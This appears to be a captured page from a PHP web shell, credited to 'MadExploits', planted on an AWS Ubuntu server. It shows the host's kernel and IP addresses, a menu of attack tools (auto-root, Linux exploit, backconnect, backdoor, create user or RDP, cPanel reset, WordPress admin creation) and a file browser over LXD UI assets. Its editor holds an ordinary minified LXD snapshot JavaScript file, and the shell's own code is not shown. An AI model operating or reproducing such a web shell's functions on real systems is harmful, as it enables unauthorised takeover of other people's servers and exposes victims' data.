Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.17.152.174
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
lxd /
33246 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
font
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-BXFyAEiG...
151
B
-rw-r--r--
BaseLayout-CiF2D8RH.js
280
B
-rw-r--r--
BulkDeleteButton-B-fvVwh0.js
1.08
KB
-rw-r--r--
CancelOperationBtn-BW2TAzI_.js
1.08
KB
-rw-r--r--
CertificateAdd-BGVwf-VB.js
2.84
KB
-rw-r--r--
CertificateGenerate-bNGS6BFl.j...
9.87
KB
-rw-r--r--
ClusterGroupForm-BiXmM-NU.js
3.25
KB
-rw-r--r--
ClusterList-CZFDB46f.js
5.17
KB
-rw-r--r--
ClusterMemberSelector-B2lzDpCI...
3.71
KB
-rw-r--r--
ClusterSpecificInput-BdiLVA9B....
1.97
KB
-rw-r--r--
ClusterSpecificSelect-DrKUzNev...
2.2
KB
-rw-r--r--
ConfigFieldDescription-BnRkdbo...
335
B
-rw-r--r--
CreateClusterGroup-C6s3qbZf.js
463
B
-rw-r--r--
CreateInstance-BXX4Xa4W.js
27.97
KB
-rw-r--r--
CreateInstanceFromImageBtn-BiE...
527
B
-rw-r--r--
CreateNetwork-BQw2A27w.js
2.88
KB
-rw-r--r--
CreateNetworkForward-BgZF8duA....
1.71
KB
-rw-r--r--
CreateProfile-CCJYKSCK.js
4.04
KB
-rw-r--r--
CreateProject-DTBqJzUb.js
2.83
KB
-rw-r--r--
CreateStoragePool-CuOutvs3.js
2.46
KB
-rw-r--r--
CreateStorageVolume-B0HvyGnH.j...
2.47
KB
-rw-r--r--
CustomIsoList-CQVv4whx.js
5.48
KB
-rw-r--r--
DeleteStoragePoolBtn-BeXLuEnA....
1.62
KB
-rw-r--r--
DeleteStorageVolumeBtn-DIIVYGa...
1.88
KB
-rw-r--r--
DiskSizeSelector-IT5APek6.js
1010
B
-rw-r--r--
EditClusterGroup-DiNIL0Lx.js
761
B
-rw-r--r--
EditNetworkForward-DtcWepYC.js
1.99
KB
-rw-r--r--
ExpandableList-EDeaeb6c.js
323
B
-rw-r--r--
FormEditButton-Cs2eW7Js.js
278
B
-rw-r--r--
FormFooterLayout-B3kcadYt.js
738
B
-rw-r--r--
FormLink-BaU-zsbe.js
879
B
-rw-r--r--
FormMenuItem-ChXfQsFA.js
2.23
MB
-rw-r--r--
FormMenuItem-DyX1CsEw.css
66.66
KB
-rw-r--r--
GroupOrIdentityChangesTable-DQ...
5.11
KB
-rw-r--r--
GroupSelectionActions-Dq47oQd-...
3.18
KB
-rw-r--r--
HelpLink-4LTOsqZO.js
294
B
-rw-r--r--
ImageList-yKBGTFZU.js
11.7
KB
-rw-r--r--
InstanceDetail-BV9hr65t.js
481.49
KB
-rw-r--r--
InstanceDetail-Beg8tuEN.css
3.88
KB
-rw-r--r--
InstanceLinkChip-DfVC8U01.js
4.24
KB
-rw-r--r--
InstanceList-CTEYE5e7.js
24.67
KB
-rw-r--r--
ItemName-DSOx0T0r.js
185
B
-rw-r--r--
Login-CsUYa7ns.js
1.41
KB
-rw-r--r--
Meter-BsdJ73XW.js
487
B
-rw-r--r--
NetworkDetail-RgSS_6Vw.js
12.8
KB
-rw-r--r--
NetworkForwardForm-C18aehvo.js
6.49
KB
-rw-r--r--
NetworkList-B4gWmGGm.js
6.32
KB
-rw-r--r--
NetworkListTable-Ba2LzF-J.js
3.31
KB
-rw-r--r--
NotificationRow-CotZPNAQ.js
157
B
-rw-r--r--
OperationList-D4--05cO.js
3.35
KB
-rw-r--r--
PageHeader-CExPjRLH.js
549
B
-rw-r--r--
PermissionGroups-CkGxgQmn.js
30.89
KB
-rw-r--r--
PermissionIdentities-DDmb7V-C....
12.93
KB
-rw-r--r--
PermissionIdpGroups-yggiVbcG.j...
13.38
KB
-rw-r--r--
ProfileDetail-CQHhNWwW.js
10.94
KB
-rw-r--r--
ProfileDetailsForm-C-rMcUGO.js
2.45
KB
-rw-r--r--
ProfileInstances-DeravO8Q.js
1.46
KB
-rw-r--r--
ProfileList-C7yC3g6E.js
7.11
KB
-rw-r--r--
ProgressBar-CQ2HKUqQ.js
170
B
-rw-r--r--
ProjectConfiguration-rKP8dZtz....
9.04
KB
-rw-r--r--
ProjectForm-GhClr0iv.js
15.12
KB
-rw-r--r--
ProtectedRoute-DYKGChU3.js
214
B
-rw-r--r--
ProxyDeviceForm-B5UDgi1V.js
38.9
KB
-rw-r--r--
RenameHeader-fmgiouA6.js
13.29
KB
-rw-r--r--
ResourceIcon-DZQOrBLA.js
532
B
-rw-r--r--
ResourceLabel-PzB_6v5p.js
317
B
-rw-r--r--
ResourceLink-CS7mH0C3.js
302
B
-rw-r--r--
ScrollableContainer-MJpEXCww.j...
646
B
-rw-r--r--
ScrollableTable-DWT33Lms.js
561
B
-rw-r--r--
SelectableMainTable-C8l8QdDe.j...
2.21
KB
-rw-r--r--
SelectedTableNotification-2DZb...
974
B
-rw-r--r--
Settings-BYi8qROs.js
9.75
KB
-rw-r--r--
SidePanel-DNeaRMst.js
2.84
KB
-rw-r--r--
SnapshotForm-DF9sGEzn.js
1.49
KB
-rw-r--r--
StoragePoolDetail-DT58PBIr.js
6.45
KB
-rw-r--r--
StoragePoolForm-Z62B6Fuh.js
17.07
KB
-rw-r--r--
StoragePoolSelectTable-CXuxJSN...
1.61
KB
-rw-r--r--
StoragePoolSelector-DEvMjaMu.j...
1.48
KB
-rw-r--r--
StoragePoolSize-DyBNKBKy.js
467
B
-rw-r--r--
StoragePools-DK0Gkjq9.js
3.99
KB
-rw-r--r--
StorageUsedBy-sdKGRlgM.js
2.12
KB
-rw-r--r--
StorageVolumeDetail-fQzbPWNW.j...
24.87
KB
-rw-r--r--
StorageVolumeForm-ZPfwK39D.js
8.42
KB
-rw-r--r--
StorageVolumes-DPotlIN6.js
7.26
KB
-rw-r--r--
StorageVolumesFilter-B7pR3OeF....
1.01
KB
-rw-r--r--
TabLinks-BIG_Rdvk.js
360
B
-rw-r--r--
UploadCustomIso-DG12FhN0.js
2.83
KB
-rw-r--r--
UsedByItem-VHA3kVFG.js
945
B
-rw-r--r--
VolumeAddSnapshotBtn-8Qz9xFE-....
4.87
KB
-rw-r--r--
WarningList-DZNTQSpg.js
1.99
KB
-rw-r--r--
YamlNotification-BnmI52ws.js
634
B
-rw-r--r--
YamlSwitch-BXLuxWUh.js
40.62
KB
-rw-r--r--
certificate-kcThcTS9.js
279.99
KB
-rw-r--r--
clusterGroups-BWQNdGSD.js
3.63
KB
-rw-r--r--
images-Du2fhDUO.js
1.22
KB
-rw-r--r--
index-BeIaaTgz.css
661.94
KB
-rw-r--r--
index-BkTFFYvy.js
690.52
KB
-rw-r--r--
index-DW_MHI2K.js
34.19
KB
-rw-r--r--
index.esm-auJ3G_FM.js
38.36
KB
-rw-r--r--
instanceDelete-Bn3xn_NE.js
12.2
KB
-rw-r--r--
instanceOptions-BuFjjn-P.js
1.19
KB
-rw-r--r--
network-forwards-B-h1Yzp9.js
856
B
-rw-r--r--
operations-DIvBacJG.js
757
B
-rw-r--r--
projects-CvA2zMPN.js
789
B
-rw-r--r--
scroll-DPmbgfny.js
26.97
KB
-rw-r--r--
searchAndFilter-DtC_P-vv.js
361
B
-rw-r--r--
snapshots-CEDJtMaf.js
670
B
-rw-r--r--
storage-volumes-tfXkh9eB.js
2.46
KB
-rw-r--r--
useGroups-CCX3qCzO.js
2.91
KB
-rw-r--r--
useImages-LgCYWVgs.js
1.64
KB
-rw-r--r--
useNetworks-D3nHf8AE.js
3.63
KB
-rw-r--r--
useSmallScreen-BvsjT919.js
169
B
-rw-r--r--
useSortTableData-BoXaK1oA.js
393
B
-rw-r--r--
useVolumes-BvpfNVaA.js
1.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : VolumeAddSnapshotBtn-8Qz9xFE-.js
import{g as x,q as y,j as r,z as b,v as h,ab as V,ac as g,ad as S,bH as P,M as E,x as T,d as m,k as F,l as N,r as w,c as k,ag as O,ae as A}from"./index-BkTFFYvy.js";import{u as D}from"./useImages-LgCYWVgs.js";import{f as C}from"./storage-volumes-tfXkh9eB.js";import{S as q}from"./SnapshotForm-DF9sGEzn.js";import{t as I,a as Q,b as z,g as U}from"./snapshots-CEDJtMaf.js";import{c as B,a as d}from"./index.esm-auJ3G_FM.js";import{c as J}from"./operations-DIvBacJG.js";import{R as f}from"./ResourceLink-CS7mH0C3.js";const ae=({volume:e})=>{const{data:t}=x({queryKey:[y.storage,e.pool,e.type,e.name,e.project],queryFn:async()=>C(e.pool,e.project,e.type,e.name),enabled:e.type!=="image"}),s=e.type==="image",{data:a=[]}=D(e.project,s),n=(()=>{var p,c;return e.type==="image"?(p=a.find(i=>i.fingerprint===e.name))==null?void 0:p.size:((c=t==null?void 0:t.usage)==null?void 0:c.used)??0})();return r.jsx(r.Fragment,{children:n?b(n):"-"})},K=async e=>{const{volume:t,name:s,expiresAt:a}=e;return new Promise((o,n)=>{fetch(`/1.0/storage-pools/${t.pool}/volumes/custom/${t.name}/snapshots?project=${t.project}`,{method:"POST",body:JSON.stringify({name:s,expires_at:a})}).then(h).then(o).catch(n)})},R=async(e,t)=>new Promise((s,a)=>{fetch(`/1.0/storage-pools/${e.pool}/volumes/${e.type}/${e.name}/snapshots/${t.name}?project=${e.project}`,{method:"DELETE"}).then(h).then(s).catch(a)}),se=async(e,t,s)=>{const a=[];return new Promise((o,n)=>{Promise.allSettled(t.map(async p=>{await R(e,{name:p}).then(c=>{s.set(c.metadata.id,()=>{V(a)},i=>{g(a,i)},()=>{S(a,t.length,o)})}).catch(c=>{g(a,c instanceof Error?c.message:""),S(a,t.length,o)})})).catch(n)})},oe=async(e,t)=>new Promise((s,a)=>{fetch(`/1.0/storage-pools/${e.pool}/volumes/${e.type}/${e.name}?project=${e.project}`,{method:"PUT",body:JSON.stringify({restore:t.name})}).then(h).then(s).catch(a)}),ne=async e=>{const{volume:t,snapshot:s,newName:a}=e;return new Promise((o,n)=>{fetch(`/1.0/storage-pools/${t.pool}/volumes/${t.type}/${t.name}/snapshots/${s.name}?project=${t.project}`,{method:"POST",body:JSON.stringify({name:a})}).then(h).then(o).catch(n)})},re=async e=>{const{volume:t,snapshot:s,expiresAt:a}=e;return new Promise((o,n)=>{fetch(`/1.0/storage-pools/${t.pool}/volumes/${t.type}/${t.name}/snapshots/${s.name}?project=${t.project}`,{method:"PUT",body:JSON.stringify({expires_at:a})}).then(h).then(o).catch(n)})},ce=async e=>{const{pool:t,type:s,volumeName:a,project:o}=e;return new Promise((n,p)=>{fetch(`/1.0/storage-pools/${t}/volumes/${s}/${a}/snapshots?project=${o}&recursion=2`).then(h).then(c=>{n(c.metadata.map(i=>({...i,name:P(i.name).snapshotName})))}).catch(p)})},_=(e,t,s)=>["deduplicate","Snapshot name already in use",async a=>s&&a===s||E(a,e.project,t,`storage-pools/${e.pool}/volumes/custom/${e.name}/snapshots`)],L=(e,t,s)=>B().shape({name:d().test(..._(e,t,s)).matches(/^[A-Za-z0-9-_.:]+$/,{message:"Only alphanumeric characters, underscores, periods, hyphens, and colons are allowed in this field"}),expirationDate:d().nullable().optional().test(...Q()).test(...z()),expirationTime:d().nullable().optional().test(...I())}),M=({name:e,volume:t})=>r.jsx(f,{type:"snapshot",value:e,to:`/ui/project/${t.project}/storage/pool/${t.pool}/volumes/custom/${t.name}/snapshots`}),H=({close:e,volume:t})=>{const s=T(),a=m.useNotify(),o=F(),n=N(),p=w.useState(null),c=k({initialValues:{name:"",expirationDate:null,expirationTime:null},validateOnMount:!0,validationSchema:L(t,p),onSubmit:(i,{resetForm:j})=>{a.clear();const $=i.expirationDate&&i.expirationTime?O(U(i.expirationDate,i.expirationTime)):A;K({volume:t,name:i.name,expiresAt:$}).then(l=>{s.set(l.metadata.id,()=>{n.invalidateQueries({predicate:u=>u.queryKey[0]===y.volumes||u.queryKey[0]===y.storage}),o.success(r.jsxs(r.Fragment,{children:["Snapshot"," ",r.jsx(M,{name:J(l.metadata),volume:t})," ","created for volume"," ",r.jsx(f,{type:"volume",value:t.name,to:`/ui/project/${t.project}/storage/pool/${t.pool}/volumes/custom/${t.name}`}),"."]})),e(),j()},u=>{o.failure(`Snapshot ${i.name} creation failed`,new Error(u)),c.setSubmitting(!1)})}).catch(l=>{a.failure("Snapshot creation failed",l),c.setSubmitting(!1),e()})}});return r.jsx(q,{isEdit:!1,formik:c,close:e})},ie=({volume:e,isCTA:t,isDisabled:s,className:a})=>{const{openPortal:o,closePortal:n,isOpen:p,Portal:c}=m.usePortal();return r.jsxs(r.Fragment,{children:[p?r.jsx(c,{children:r.jsx(H,{volume:e,close:n})}):null,t?r.jsx(m.Button,{appearance:"base",hasIcon:!0,dense:!0,onClick:o,type:"button","aria-label":"Add Snapshot",title:s?`Snapshot creation is blocked for project ${e.project}`:"Add Snapshot",disabled:s,className:a,children:r.jsx(m.Icon,{name:"add-canvas"})}):r.jsx(m.Button,{appearance:"positive",className:a,onClick:o,disabled:s,children:s?r.jsx(m.Tooltip,{message:`Snapshot creation has been disabled for volumes in the project ${e.project}`,children:"Create snapshot"}):"Create snapshot"})]})};export{ae as S,ie as V,M as a,oe as b,se as c,R as d,ce as f,L as g,ne as r,re as u};
Close